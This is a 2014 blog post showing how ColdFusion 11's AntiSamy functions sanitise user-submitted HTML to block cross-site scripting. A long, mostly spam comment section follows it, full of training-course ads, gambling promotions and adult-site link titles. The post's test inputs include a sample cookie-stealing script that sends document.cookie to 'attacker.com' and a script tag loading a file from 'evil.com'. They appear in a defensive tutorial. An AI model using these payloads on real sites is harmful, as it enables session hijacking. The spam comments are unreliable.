Wednesday, April 9, 2014

Using Antisamy Framework with ColdFusion 11

AntiSamy is an OWASP API for sanitizing the HTML/CSS input. ColdFusion 11 provides HTML/CSS sanitation functions which does its job based on the given AntiSamy policy files. If you are familiar with AntiSamy framework, skip to section Integration with ColdFusion.

Need for AntiSamy:

Cross-site scripting (XSS) is one of the most common and prevalent security vulnerability found in web applications. XSS can leverage the vulnerabilities in the web application code which allows attacker to inject and execute malicious code(javascript) into the end-user browser. Some of the serious threats by XSS includes session hijacking by stealing authentication information such as cookies, stealing sensitive data loaded in the web page and performing operations on behalf of the victim etc.

XSS vulnerabilities can be classified into three types – Firstly, DOM based which exists in the clients web page, Secondly; on-Persistent or Reflected is when malicious input supplied is displayed back onto the screen after returning back from the server. And finally the most dangerous XSS vulnerability - Persistent or Second Order or Stored XSS wherein the malicious data supplied is stored in the persistent storage or database. One of the primary attack vector for XSS is not having proper validation/escaping mechanisms in place. To defend such type attacks several encoding/escaping mechanisms need to be used depending on the place where the input needs to be placed in the HTML. ColdFusion provides several encoding/escaping functions which helps in validating the input and prevents from many forms of XSS.

In many websites where application developers wishes to provide an option of posting HTML markup so that users can post formatted and interactive data. In that instance encoding/escaping cannot performed on the posted HTML markup as the input needs to be rendered in the browser. Forums & blogs are places where content posted from one user will be displayed back to other website users. There by not encoding/escaping the unverified input definitely opens up new possibilities for XSS.  One can use markup parsers such as BBCode and WikiText which provides alternate set of markup tags similar to HTML. These markup parsers converts these set of tags to equivalent HTML. These parsers can effectively whitelist the allowed formatting tag but using this we can not leverage HTML and forces user to learn new language. 

One last option could be to devise an XSD schema file by defining list of allowed html tags and attributes. Convert all the given HTML input to XML and then verify the xml using the XSD schema file. It provides a flexible implementation, whitelisting of tags. But the problem with XSD schema validation is it provides no response or error message to the user and XSD needs to be created for all HTML elements.

AntiSamy Framework:

AntiSamy solves the problem of allowing HTML content and also protecting the application from possible attacks like XSS. AntiSamy is one such framework which can sanitize/validate the given input markup which can contain HTML, CSS according to a given policy file. AntiSamy is an OWASP Open source API that will allow user submitted HTML/CSS and limits the potential malicious content to get through. AntiSamy follows the whitelist approach to get the clean HTML/CSS output markup. Also, it provides user friendly error messages to let the user know what HTML, validation or security errors existed.

AntiSamy policy file is an XML file which defines set of rules like below:

  • Which HTML tags needs to be removed, filtered, validated or encoded.
  • Validation rules can be written for HTML tag attribute values using regular expressions and constant values
  • CSS parsing rules can be written to validate each CSS property individually using regular expressions and constant values.    

AntiSamy just validates/sanitizes the input according to the given policy file the protection always depends how strict the policy file is written. For more information on AntiSamy and visit OWASP AntiSamy Project page https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project Check out the AntiSamy developer guide for understanding policy files and how to define them according to the requirement.

AntiSamy uses NekoHTML and the given policy file for validating the given HTML/CSS input markup. NekoHTML is a simple HTML scanner and tag balancer that enables application programmers to parse HTML documents and access the information using standard XML interfaces. The parser can scan HTML files and "fix up" many common mistakes that human (and computer) authors make in writing HTML documents. NekoHTML adds missing parent elements; automatically closes elements with optional end tags; and can handle mismatched inline element tags. After reading the input using NekoHTML antisamy builds a DOM tree out of it then validates all of its nodes with the given policy file.

AntiSamy provides the following boilerplate policy files that you can use (can be downloaded from OWASP project page) and further can be modified to meet your project requirements.
  • antisamy-slashdot.xml - This policy file only allows strict text formatting, and may be a good choice if users are submitting HTML in a comment thread.
  • antisamy-ebay.xml – This policy file gives the user a little bit of freedom, and may be a good choice if users are submitting HTML for a large portion of a page.
  • antisamy-myspace.xml – This policy file gives the user a lot of freedom, and may be a good choice if users are submitting HTML for an entire page. 
  • antisamy-tinymce.xml - This policy file only allows text formatting, and may be a good choice if users are submitting HTML to be used in a blog post. 
  • antisamy-anythinggoes.xml – A very dangerous policy file, this will allow all HTML, CSS and JavaScript. You shouldn’t use this in production.This policy file allows every single HTML and CSS. Not for production use.
When to use AntiSamy:

If you are accepting normal text data from the user use the encoding functions of ESAPI provided by coldfusion for validating and displaying them in the web browser. ColdFusion provides the following list of functions for this purpose:

encodeForHTML, encodeForHTMLAttribute, encodeForCSS, encodeForJavaScript and encodeForURL

If you accept HTML markup from the user use the antisamy functions provided by ColdFusion 11.  Before planning to use antisamy, think which tags, attributes and css rules you need. Define the required regular expressions, constant literals for the allowed values in an attribute. If your requirement matches with one of the example policy files given by antisamy modify them so that they can meet your requirement. Devise the policy rules according to your requirements and at the same time keeping XSS in mind. 
Integration with ColdFusion:

ColdFusion 11 added new methods that can sanitize/validate the input based on the given AntiSamy policy file. ColdFusion 11 ships a basic AntiSamy policy file which is fairly permissive. This policy file allows most HTML elements, and may be useful if users are submitting full HTML pages. Two functions isSafeHTML and getSafeHTML were added to work with antisamy policy

Function isSafeHTML can be used to validate whether the provided input string is according to the rules defined in the AntiSamy policy. getSafeHTML can be used to get the clean html or the policy violation errors (what wrong went with the input) as per the policy.
getSafeHTML(unsafeHTML [, policyFile], throwOnError])
isSafeHTML(unsafeHTML [, policyFile])
unsafeHTML
     The HTML input markup text to sanitize
policyFile (Optional)
     Specify the path to the AntiSamy policy file. Given path can be an absolute path or a relative to the Application.cfc/cfc.

throwOnError (Optional)
      If set to true and given input violates the allowed HTML rules specified in the policy file an exception will be thrown. The exception message contains the list of violations raised because of the input. If set to false ignores the exception returns the HTML content filtered, cleaned according to the policy rules. Defaults to false.
As you see the policy file for these functions is optional. An AntiSamy policy file can be specified at function, application and server levels. The default server level AntiSamy policy file antisamy-basic.xml can be found at <CF_HOME>\lib\antisamy-basic.xml. To specify the policy file at application level set the application setting this.security.antisamypolicy value to the location of policy file. If no AntiSamy file location is supplied to functions ColdFusion checks if any policy file configured at application level. If configured uses it otherwise uses the server level AntiSamy policy file.
Application.cfc
component
{
    this.security.antisamypolicy = "antisamy.xml"; // Path can be absolute or relative to the application cfc path.
}
Here is an example showing how to use these functions

Examples: 

In this example we will be using the policy file antisamy-slashdot.xml from OWASP. The policy file strictly allows only <b> <i> <p> <br> <a> <ol> <ul> <li> <dl> <dt> <dd> <em> <strong> <tt> <blockquote> <div> <ecode> <quote> tags and no other css tags are allowed. isSafeHTML validates the input according to policy returns true or false and getSafeHTML sanitizes the input by filtering out and returns the clean HTML markup. As these are examples i am using static text input but when using these functions replace them with relevant form variables.

<cfset inputHTML = "<script>function geturl(){return 'http://attacker.com?cookie='+document.cookie;}</script><b>You have won an IPAD.</b><a href='javascript:geturl()'>Click here to cliam the prize</a>">


<!--- Example1 Check whether input is according to policy rules --->

<cfset isSafe = isSafeHTML(inputHTML, "C:\antisamy-slashdot.xml")>

<cfoutput>is Safe HTML: #isSafe#</cfoutput>

<!--- Example2 Check whether input is according to policy rules --->
<cfset anotherInput = "<div><b>Hello World!!</b><br/>lorem ipsum lorem ipsum</div>">

<cfset isSafe = isSafeHTML(anotherInput , "C:\antisamy-slashdot.xml")>

<cfoutput>is Safe HTML: #isSafe#</cfoutput>
<!--- Example 3: Get Safe HTML By filtering out invalid input using the server level policy antisamy-basic.xml when application level setting is not specified---> 

<cfset safeHTML = getSafeHTML(inputHTML, "",false)> 
<cfoutput> 
  Thanks for submitting the content #safeHTML# <br/> 
</cfoutput> 

<!--- Example 4: Get Safe HTML when no violations were present---> 
<cftry> 
  <cfset safeHTML = getSafeHTML(inputHTML, "C:\antisamy-slashdot.xml", true)> 
     <cfoutput> 
   Thanks for submitting the content #safeHTML# <br/> 
 </cfoutput> 
 <cfcatch type="application"> 
     <cfoutput>Invalid Input markup. Please correct the below errors then submit the input again <br/><br/>#cfcatch.details#</cfoutput> 
 </cfcatch>
 </cftry>
<!--- Example 5: shows how antisamy fixes up invalid HTML (end </p> tag is missing) --->
<cfset inputHTML = "<p>This is <b onclick=“alert(bang!)”>so</b> cool!!<img src=“http://example.com/logo.jpg”><script src=“http://evil.com/attack.js”>">
<cfset safeHTML = getSafeHTML(inputHTML, "",false)> 
<cfoutput>#safeHTML#</cfoutput> 

AntiSamy-slashdot policy configured not to allow script tags, executing javascript from anchor tag href attribute there by the input is considered as unsafe. In example1 isSafeHTML returns No. In example 2 the given input contains only div and b tags which are allowed by the policy returns Yes.

<!-- copied parts from the antisamy-slashdot.xml -->

<regexp name="onsiteURL" value="([\p{L}\p{N}\\/\.\?=\#&amp;;\-_~]+|\#(\w)+)">
<regexp name="offsiteURL" value="(\s)*((ht|f)tp(s?)://|mailto:)[\p{L}\p{N}]+[~\p{L}\p{N}\p{Zs}\-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*">

<regexp-list>
<regexp name="onsiteURL">
<regexp name="offsiteURL">
</regexp></regexp></regexp-list>

<tag-rules>
<!--  Tags related to JavaScript  -->
<tag action="remove" name="script">

<!--  Anchor and anchor related tags  -->
<tag action="validate" name="a">
<attribute name="href" oninvalid="filterTag">
Example 3 shows how to get clean HTML by filtering out the violations as per the policy. Example 3 gives the output "Thanks for submitting the content You have won an IPAD. Click here to cliam the prize". Script tags were removed from the input and in the given input anchor tag contains an invalid value in href attribute there by it filtered out the anchor tag but keeping the content inside of it. As the <b> tags allowed it was kept as it is.

 Example 4 shows how to get the user friendly policy violation messages using getSafeHTML. Example 4 gives the output "The script tag is not allowed for security reasons. This tag should not affect the display of the input. The a tag contained an attribute that we could not process. The href attribute had a value of "javascript:geturl()". This value could not be accepted for security reasons. We have chosen to filter the a tag in order to continue processing the input.". Example 5 shows how getSafeHTML fixes up the invalid HTML.It gives the output as "<p>This is <b>so</b> cool!!</p>" by fixing the end paragraph (p) tag.

Furthur Reading:

https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

https://code.google.com/p/owaspantisamy/downloads/list
http://nekohtml.sourceforge.net/  

259 comments :

  1. hi welcome to this blog. really you have post an informative blog. it will be really helpful to many peoples. thank you for sharing this blog. it will be really helpful to many peoples. thank you for sharing this blog.
    java training in chennai

    ReplyDelete
  2. I found your article on time, when i searching JAVA… Thanks for this successful information’s
    java training in chennai

    ReplyDelete
  3. Thanks for the blog. You have given usefull information regardng training in chennai .

    ReplyDelete
  4. Thank you for the article, thanks for sharing. And i'm really like this blog
    Judi BandarQ
    Agen BandarQ
    Judi Domino99

    ReplyDelete
  5. Good article. If you are looking for a good training institute in Chennai, <a href="http://www.html5training.in> here is the best </a>.

    ReplyDelete
  6. This information is impressive; I am inspired with your post writing style.Its a wonderful post and very helpful, thanks for all this information.
    SAP HR Training in Chennai
    SAP SD Training in Chennai

    ReplyDelete
  7. I simply wanted to write down a quick word to say thanks to you for those wonderful tips and hints you are showing on this site.

    Java Training Institute Bangalore

    Best Java Training Institute Chennai


    ReplyDelete
  8. I think this is among the most important info for
    me. And i am glad reading your article. But want to remark on few general things, The website style is great,
    the articles is really nice : D. Good job, cheers

    Young XXX HD
    18yo XXX Teen
    Teen XXX HD
    Young XXX Videos
    Young XXX Porn
    Perdungulatoz.com

    ReplyDelete
  9. This information is impressive; I am inspired with your post writing style.Its a wonderful post and very helpful, thanks for all this information.
    html5 corporate training in chennai

    ReplyDelete
  10. Hi, thanks for posting a tips-full article, I had learned more things on this blog, Keep on blogging, thanks .
    JAVA Training in chennai

    ReplyDelete
  11. Ciitnoida provides Core and java training institute in noida. We have a team of experienced Java professionals who help our students learn Java with the help of Live Base Projects. The object-oriented, java training in noida , class-based build of Java has made it one of most popular programming languages and the demand of professionals with certification in Advance Java training is at an all-time high not just in India but foreign countries too.

    By helping our students understand the fundamentals and Advance concepts of Java, we prepare them for a successful programming career. With over 13 years of sound experience, we have successfully trained hundreds of students in Noida and have been able to turn ourselves into an institute for best Java training in Noida.

    java training institute in noida
    java training in noida
    best java training institute in noida
    java coaching in noida
    java institute in noida

    ReplyDelete
  12. Hi, thanks for posting a tips-full article, I had learned more things on this blog, Keep on blogging, thanks .
    JAVA Training in chennai

    ReplyDelete
  13. BCA Colleges in Noida

    CIIT Noida provides Sofracle Specialized B Tech colleges in Noida based on current industry standards that helps students to secure placements in their dream jobs at MNCs. CIIT provides Best B.Tech Training in Noida. It is one of the most trusted B.Tech course training institutes in Noida offering hands on practical knowledge and complete job assistance with basic as well as advanced B.Tech classes. CIITN is the best B.Tech college in Noida, greater noida, ghaziabad, delhi, gurgaon regoin .

    At CIIT’s well-equipped Sofracle Specialized M Tech colleges in Noida aspirants learn the skills for designing, analysis, manufacturing, research, sales, management, consulting and many more. At CIIT B.Tech student will do practical on real time projects along with the job placement and training. CIIT Sofracle Specialized M.Tech Classes in Noida has been designed as per latest IT industry trends and keeping in mind the advanced B.Tech course content and syllabus based on the professional requirement of the student; helping them to get placement in Multinational companies (MNCs) and achieve their career goals.

    MCA colleges in Noida we have high tech infrastructure and lab facilities and the options of choosing multiple job oriented courses after 12th at Noida Location. CIIT in Noida prepares thousands of engineers at reasonable B.Tech course fees keeping in mind training and B.Tech course duration and subjects requirement of each attendee.

    Engineering College in Noida"

    ReplyDelete
  14. FITA offers a wide range of JAVA training in Chennai to meet the growing corporate needs.We provide Java Training in Chennai with Placement in leading companies. Walk into our Office to find the list of Companies our Students are placed.FITA TNAGAR is the best training institute in Chennai.

    ReplyDelete
  15. the blog is good and Interactive it is about Mulesoft Developer it is useful for students and Mulesoft Developers for more updates on Mulesoft mulesoft Online course hyderabad

    ReplyDelete
  16. Thank you for your information.FITA offers best certification course training on angularjs. kindly visit our page advanced angularjs training

    ReplyDelete
  17. Thankyou for posting valuable information
    find the best training institute for AWS
    AWS training in chennai

    ReplyDelete
  18. I like and very happy to read this article and I also like your blog very good
    togel online

    ReplyDelete
  19. Great post! Thanks for sharing this valuable information.
    Java Training in Chennai

    ReplyDelete
  20. Great blog! Thanks for giving such valuable information, this is unique one. Really admired.

    Java Training in Chennai

    ReplyDelete
  21. This comment has been removed by the author.

    ReplyDelete
  22. Thanks for sharing
    http://www.metaforumtechnologies.com/android-training-in-chennai

    ReplyDelete
  23. Nice post, thanks for shearing chennai tours, we are daily provided for chennai to mahabalipuram tour package, more details contact for chennai tours.
    chennai to mahabalipuram tour package | mahabalipuram tour package from chennai

    ReplyDelete
  24. Thank you for this information.. Find Best Classes for Java. For more information visit www.classboat.com

    ReplyDelete
  25. Thank you for this information. Find Best Python Course in Pune .For more information visit Classboat which is a Career Destination in India

    ReplyDelete
  26. Thanks for your article with us. Very nice post, thanks for your useful information. We proceed to Chennai City Sightseeing Tour Packages. Welcome to SriBhavani Tours & Travels is one of the leading travel agents in Chennai. We have a bent to tend to face live supply Tirupati tour package from Chennai, letting services that unit of measurement pioneer in providing affordable costs for Tirumala Tirupati tour package from chennai car services. Tours like one-day and two-day journeys unit of measurement designed to fulfill your specific demand.

    Regards
    Ekbal Loke
    chennai city sightseeing tour packages

    ReplyDelete
  27. Very nice post here and thanks for it .I always like and such a super contents of these post.Excellent and very cool idea and great content of different kinds of the valuable information's.
    Good discussion. Thank you.
    Anexas
    Six Sigma Training in Abu Dhabi
    Six Sigma Training in Dammam
    Six Sigma Training in Riyadh

    ReplyDelete
  28. Top cv distribution in UAE. A lot of candidates have right skills for the job, but how to communicate with recruiter and increase chance to get job

    ReplyDelete
  29. A very informative write up on HTML5. Now. excellent blog

    ReplyDelete
  30. A very good blog on HTML5. Now excellent blog

    ReplyDelete
  31. I really love the theme/design of your website. Do you ever run into any browser compatibility problems?
    safety courses in chennai

    ReplyDelete
  32. This is an awesome post.Really very informative and creative contents. These concept is a good way to enhance the knowledge.I like it and help me to development very well.Thank you for this brief explanation and very nice information.Well, got a good knowledge.
    python training institute in marathahalli | python training institute in btm | Python training course in Chennai

    ReplyDelete
  33. Thanks for posting such a great article.you done a great job Salesforce Online Training

    ReplyDelete
  34. Nice post ! Thanks for sharing valuable information with us. Keep sharing AWS Online Training

    ReplyDelete
  35. This blog is the general information for the feature. You got a good work for these blog.We have a developing our creative content of this mind.Thank you for this blog. This for very interesting and useful.
    Java training in Chennai | Java training institute in Chennai | Java course in Chennai

    Java training in Bangalore | Java training institute in Bangalore | Java course in Bangalore

    Java interview questions and answers

    Core Java interview questions and answers

    ReplyDelete
  36. Useful Post , i Request you to write more blogs like this Tableau Online Training

    ReplyDelete
  37. Really very nice blog information for this one and more technical skills are improve,i like that kind of post.
    excel advanced excel training in bangalore
    Devops Training in Chennai

    ReplyDelete
  38. Needed to compose you a very little word to thank you yet again regarding the nice suggestions you’ve contributed here.
    Our team login provides the best teaching cultures to all our trainees through our Software Training Institute in Chennai with the Supreme infrastructure. VLSI Training in Chennai

    ReplyDelete
  39. This post give nice information. Want to learn web designing course. Classboat provide you best web designing course in pune with placement
    web designing course in pune with placement

    ReplyDelete
  40. Thank you for sharing your article. Great efforts put it to find the list of articles which is very useful to know, Definitely will share the same to other forums.
    best openstack training in chennai | openstack course fees in chennai
    java training in chennai | primavera training in chennai

    ReplyDelete
  41. The knowledge of technology you have been sharing thorough this post is very much helpful to develop new idea. here by i also want to share this.
    aws Training in indira nagar

    selenium Training in indira nagar

    python Training in indira nagar

    datascience Training in indira nagar

    devops Training in indira nagar

    ReplyDelete
  42. In hold'em, players receive two down cards as their personal hand (holecards), after which there is a round of betting. Three board cards are turned simultaneously (called the flop) and another round of betting occurs. The next two board cards are turned one at a time, with a round of betting after each card. The board cards are community cards, and a player can use any five-card combination from among the board and personal cards. A player can even use all of the board cards and no personal cards to form a hand ("play the board"). A dealer button is used. The usual structure is to use two blinds, but it is possible to play the game with one blind, multiple blinds, an ante, or combination of blinds plus an ante. next article

    ReplyDelete
  43. That's an appreciable blog. It was too interesting to read. It is well written and I'm glad that I came across this post. Keep posting. Regards.
    Learn LINUX | LINUX Training in Chennai | Best LINUX Training in Chennai | LINUX Course | LINUX Course in Chennai

    ReplyDelete
  44. It is amazing and wonderful to visit your site.Thanks for sharing this information,this is useful to me...

    ahmedabadclassifieds
    Technology

    ReplyDelete
  45. When I initially commented, I clicked the “Notify me when new comments are added” checkbox and now each time a comment is added I get several emails with the same comment. Is there any way you can remove people from that service? Thanks.
    AWS Training in Bangalore | Amazon Web Services Training in Bangalore
    Advanced Amazon Web Services Training in Pune | Best AWS Training in Pune
    AWS Online Training | Best Online AWS Certification Course - Gangboard
    Best Top 110 plus AWS Interview Question and Answers 2019

    ReplyDelete
  46. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.
    machine learning Course in chennai

    machine learning with python course in Chennai

    ReplyDelete
  47. Thanks for your great and helpful presentation I like your good service. I always appreciate your post. That is very interesting I love reading and I am always searching for informative information like this.AngularJS Training in Chennai | Best AngularJS Training Institute in Chennai

    ReplyDelete
  48. Whether you are looking for innovative skills, professional development, or a switch in your career, there are design courses that can benefit you meet your goals.Learn short term graphic design courses in bangalore from top training institutes and get Graphic Design certification.

    ReplyDelete
  49. Contact us by phone, post a question to the community, or browse our expert FAQs. ... Quickbooks error support phone number Online Support ... Solving issues and error messages.

    ReplyDelete


  50. Very nice post here thanks for it .I always like and such a super contents of these post.Excellent and very cool idea and great content of different kinds of the valuable information's.
    machine learning training in chennai
    machine learning certification in chennai
    top institutes for machine learning in chennai
    Android training in chennai
    PMP training in chennai

    ReplyDelete
  51. Much obliged to you for this data.. Discover Best Game Design Courses in bangalore For more data visit www.classboat.com

    ReplyDelete
  52. You are doing a great job. I would like to appreciate your work for good accuracy
    Regards,
    Data Science Course In Chennai

    ReplyDelete
  53. I really like the dear information you offer in your articles. I’m able to bookmark your site and show the kids check out up here generally. Im fairly positive theyre likely to be informed a great deal of new stuff here than anyone
    Python Online training
    python Training in Chennai
    Python training in Bangalore

    ReplyDelete
  54. The distinctive sanctuaries that are secured are kamakshi sanctuary, Amman sanctuary, varadharaja sanctuary, kanchi and numerous such more. The Kanchipuram Tour Packages likewise go for tweaked occasions where the vacationer can have completely happiness regarding this excellent place. The visit bundle would likewise incorporate different things like allow charge, benefit assess and even auto stopping and driver Beta. Along these lines, you would have genuine joy to appreciate the city inside your financial plan.
    Chennai to Kanchipuram tour package

    ReplyDelete
  55. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic. Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  56. Very nice post here thanks for it .I always like and such a super contents of these post.Excellent and very cool idea and great content of different kinds of the valuable information's.

    machine learning course in chennai
    best training insitute for machine learning
    best machine learning institutes in chennai
    artificial intelligence and machine learning course in chennai

    ReplyDelete
  57. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic.Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  58. its really a nice article.Its is a very useful information keep updating waiting for your future post
    php training in chennai

    ReplyDelete
  59. It's interesting that many of the bloggers to helped clarify a few things for me as well as giving.Most of ideas can be nice content.The people to give them a good shake to get your point and across the command

    Data Science course in Chennai
    Data science course in bangalore
    Data science course in pune
    Data science online course
    Data Science Interview questions and answers
    Data Science Tutorial
    Data science course in bangalore

    ReplyDelete
  60. Thanks for such a great article here. I was searching for something like this for quite a long time and at last, I’ve found it on your blog. It was definitely interesting for me to read about their market situation nowadays.angularjs best training center in chennai | angularjs training in velachery | angularjs training in chennai best angularjs training institute in chennai

    ReplyDelete
  61. This is the exact information I am been searching for, Thanks for sharing the required infos with the clear update and required points. To appreciate this I like to share some useful information regarding Microsoft Azure which is latest and newest,

    Regards,
    Ramya

    azure training in chennai
    azure training center in chennai
    best azure training in chennai
    azure devops training in chenna
    azure training institute in chennai

    ReplyDelete

  62. You are doing a great job. I would like to appreciate your work for good accuracy
    Data Science With R

    ReplyDelete
  63. Nice blog..! I really loved reading through this article. Thanks for sharing such a amazing post with us and keep blogging... angular 4 training in chennai | angularjs training in omr | best angularjs training institute in chennai | angularjs training in omr

    ReplyDelete
  64. This comment has been removed by the author.

    ReplyDelete
  65. BSNL Speed Test:- Today the high-speed internet is considered as the most important requirement of an internet connection. It ensure comfort Bsnl speedtest.

    bsnl speed test

    ReplyDelete
  66. Thank you for allowing me to read it, welcome to the next in a recent article. And thanks for sharing the nice article, keep posting or updating news article.
    samsung mobile repair
    samsung mobile service center near me
    samsung service centres in chennai

    ReplyDelete
  67. Amazing! I like to share it with all my friends and hope they will like this information.
    Regards,
    Python Training in Chennai | Python Programming Classes | Python Classes in Chennai

    ReplyDelete
  68. Nice blog..! I really loved reading through this article. Thanks for sharing such a
    amazing post with us and keep blogging...Also Checkout: cryptocurrency training in chennai | blockchain coaching in chennai | blockchain certification training in chennai | blockchain certification course in chennai

    ReplyDelete
  69. This comment has been removed by the author.

    ReplyDelete
    Replies
    1. Nice information, valuable and excellent design, as share good stuff with good ideas and concepts, lots of great information and inspiration, both of which I need, thanks to offer such a helpful information here.data science course in dubai

      Delete
  70. your blog was intersting ...thanks for shring information with us
    PHP training in chennai

    ReplyDelete
  71. ♥♦♣♠ VIP DOMINO ♠♣♦♥

    Sudah TERBUKTI !!
    Hanya di VIPDOMINO Lebih Mudah Menangnya.
    Dengan WINRATE KEMENANGAN TERTINGGI
    Raih KEMENANGAN SEBESAR-SEBESARNYA Bersama Kami!

    8 GAME IN USER ID 1 :
    - Domino99
    - BandarQ
    - Poker
    - AduQ
    - Capsa Susun
    - Bandar Poker
    - Sakong Online
    - Bandar66

    Nikmati Bonus-Bonus Melimpah Yang Bisa Anda Dapatkan Di
    Situs Kami VIPDOMINO Situs Resmi, Aman Dan
    Terpercaya ^^ Keunggulan VIPDOMINO :
    - Rating Kemenangan Terbesar
    - Bonus TurnOver Atau Cashback Di Bagikan Setiap 5
    Hari 0.3%
    - Bonus Referral Dan Extra Refferal Seumur Hidup 15%
    - Minimal Deposit Hanya Rp20.000,- & Withdraw Rp20.000,-
    - Tidak Ada Batas Untuk Melakukan Withdraw/Penarikan
    Dana
    - Pelayanan Yang Ramah Dan Proses Deposit / Withdraw Cepat
    - Dengan Server Poker-V Yang Besar Beserta Ribuan pemain
    Di Seluruh Indonesia,
    - NO ADMIN , NO ROBOT 100% Player Vs Player
    Fasilitas BANK yang di sediakan :
    - BCA
    - Mandiri
    - BNI
    - BRI
    - Danamon
    - Permata
    - Panin
    - Sakong Online
    Ambil Gadgetmu Dan Bergabung Bersama Kami
    Untuk info lebih jelas silahkan hubungi CS kami :
    BBM : D8EB96DA
    WA : : +62 852-5967-8372
    LINE : INDOVIP88

    Link Alternatif Kami :
    IndoVip88 (.) Com
    IndoVip303 (.) Com
    SakongVip (.) Com

    ReplyDelete
  72. Situs Agen Poker Terbaik dan Terpercaya di Wilayah Asia Pasifik..

    ReplyDelete
  73. Halo Sayang mau cari Agen Main poker online ? tapi yang aman dan terpercaya ?
    Menang 10 juta ? 20 juta ? 50 juta ? bahkan 100 juta ? Pasti Kami bayar sayang ku

    Gak percaya ? pasti dong lagian belum daftar dan main di sini

    Ayo daftar SEKARANG http://KASTILPOKER.COM Agent Poker Online Terpercaya

    Enaknya main di KASTILPOKER.COM cuma Rp 10 ribu doang sudah bisa bermain di KASTILPOKER dan dapat bermain banyak game seperti CEME, POKER, CAPSA, DOMINO dan yang lain nya
    # Ada Super Bonus Vaganza Total Hadiah Hingga Ratusan Juta Dengan hadiah Utama 1 Unit Motor KAWASAKI NINJA 250 SL
    # Jackpot Selalu ada Setiap Harinya
    # Proses Deposit dan Withdraw Sangat Cepat
    # Bonus refferal dari 15%- 100% seumur hidup ( harus daftar melalui link referal bos baru bisa dapet referal ya )
    Server Tercepat IDNPLAY tanpa bot Player vs Player

    Chat Langsung Dengan Kami
    WA : +855884290569
    LINE : kastilpoker
    BBM : kastilpoker

    ReplyDelete
  74. Really nice post. Provided a helpful information.I hope that you will post more updates like this

    AWS Online Training

    AWS Certification

    AWS Training

    AWS Training in Bangalore


    ReplyDelete
  75. Very informative post, very useful information.

    Data Science Courses

    ReplyDelete

  76. thank u so much for sharing this article i like this read it three time:
    data analytics certification courses in Bangalore

    ReplyDelete
  77. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.
    Check out : big data training in chennai chennai tamilnadu | big data hadoop training in velachery | big data training in velachery | big data hadoop interview quesions and answers pdf| mapreduce interview questions

    ReplyDelete
  78. Are your preparing for government examination? Effective preparation is important to be successful, make use of our TNPSC Current affairs to prepare for your TNPSC & other government examination.

    ReplyDelete


  79. Really impressed! Everything is very open and very clear clarification of issues. It contains truly facts. Your website is very valuable. Thanks for sharing.

    DATA SCIENCE COURSE MALAYSIA

    ReplyDelete
  80. http://mysims3blog.blogspot.com/2016/12/happy-new-year.html

    ReplyDelete
  81. This comment has been removed by the author.

    ReplyDelete
  82. This comment has been removed by the author.

    ReplyDelete
  83. nice and informative article thanks for sharing.It has fully emerged to crown Singapore's southern shores and undoubtedly placed her on the global map of residential landmarks. I still scored the more points than I ever have in a season for GS. I think you would be hard pressed to find somebody with the same consistency I have had over the years so I am happy with that.
    top 7 best washing machine
    www.technewworld.in

    ReplyDelete
  84. Thanks for the blog. You have given usefull information regardng Ielts Coaching Centre


    https://www.oasiseducon.com/ielts-coaching-center-udaipur

    ReplyDelete

  85. It should be noted that whilst ordering papers for sale at paper writing service, you can get unkind attitude. In case you feel that the bureau is trying to cheat you, don't buy term paper from it.
    www.technewworld.in
    How to Start A blog 2019
    Eid AL ADHA

    ReplyDelete

  86. It should be noted that whilst ordering papers for sale at paper writing service, you can get unkind attitude. In case you feel that the bureau is trying to cheat you, don't buy term paper from it.
    www.technewworld.in
    How to Start A blog 2019
    Eid AL ADHA

    ReplyDelete
  87. This is a fantastic website and I can not recommend you guys enough. I really appreciate your post. It is very helpful for all the people

    thank you for sharing this blog
    https://www.oasiseducon.com/ielts-coaching-center-udaipur

    ReplyDelete
  88. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts. Any way I’ll be subscribing to your feed and I hope you post again soon.
    Data Science Courses

    ReplyDelete
  89. Really nice post. Provided a helpful information. I hope that you will post more updates like this

    AWS Online Training

    AI Training

    ReplyDelete
  90. Nice article. Highly recommended. The thoughts are clear and well explained. Thankyou for sharing your work, truly worth reading. On the other hand, if you’re interested in , Blinds Singapore , feel free to visit our website. Thankyou and Godbless!

    ReplyDelete
  91. This is a very informative content. Easy to read and understand. Thank you very much. Keep posting more. Selenium Online Training

    ReplyDelete
  92. Hey, would you mind if I share your blog with my twitter group? There’s a lot of folks that I think would enjoy your content. Please let me know. Thank you.
    IT Training Institute in KK Nagar| datastage training in chennai |datastage training institutes in chennai |datastage course in chennai

    ReplyDelete
  93. I really like your website.


    you can visit my website too, it could be interesting for you.


    http://sorayakavir.com/

    ReplyDelete

  94. Get the most advanced Python Course by Professional expert. Just attend a FREE Demo session.
    For further details call us @ 9884412301 | 9600112302
    Python training in chennai | Python training in velachery

    ReplyDelete
  95. I am really happy to glad at this blog posts which carries tons of useful facts,
    thanks for providing these kinds of data.
    BANDARQQ

    ReplyDelete
  96. Nice article.
    For Data Science training in Bangalore,visit:
    Data Science training in Bangalore

    ReplyDelete
  97. Very nice your post, very useful information, thanks for shearing, They produce positive that your trip is pleasant for you and your family. The Tirupati Tour Package from chennai {will to boot additionally will} take you at utterly completely different places around Tirumala so as that you’ll be able to whole get pleasure from the trip and additionally produce your trip most unforgettable . Tirupati tour package from Chennai, we are daily provided chennai to tirupati tour package, available shearing basic and family package, available online darshan ticket, breakfast and lunch, car rental, more contact details call us - 9444922834

    tirupati tour package from chennai

    ReplyDelete
  98. If you occur to find any trouble with your printer, troubleshoot by referring to resolutions of respected error. Not only hp printer in error state but our technical experts can assist you to fix this failure by providing online remote help.
    https://hprinterofficial.com/blog/hp-printer-in-error-state-windows-10/

    ReplyDelete
  99. If you occur to find any trouble with your printer, troubleshoot by referring to resolutions of respected error. Not only hp printer in error state but our technical experts can assist you to fix this failure by providing online remote help.
    https://hprinterofficial.com/blog/hp-printer-in-error-state-windows-10/

    ReplyDelete
